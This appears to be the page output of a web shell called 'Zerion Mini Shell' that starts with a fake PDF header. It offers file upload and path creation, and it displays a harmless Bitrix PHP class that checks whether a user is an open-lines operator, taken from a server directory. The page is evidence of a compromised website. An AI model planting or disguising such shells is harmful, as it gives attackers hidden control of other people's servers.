%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/bitrix/modules/im/lib/integration/imopenlines/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/bitrix/modules/im/lib/integration/imopenlines/user.php

<?php
namespace Bitrix\Im\Integration\Imopenlines;

class User
{
	public static function isOperator($userId = null)
	{
		if (!\Bitrix\Main\Loader::includeModule('imopenlines'))
		{
			return false;
		}

		$userId = \Bitrix\Im\Common::getUserId($userId);
		if (!$userId)
		{
			return false;
		}

		$list = \Bitrix\ImOpenLines\Config::getQueueList($userId);

		return !empty($list);
	}
}

Zerion Mini Shell 1.0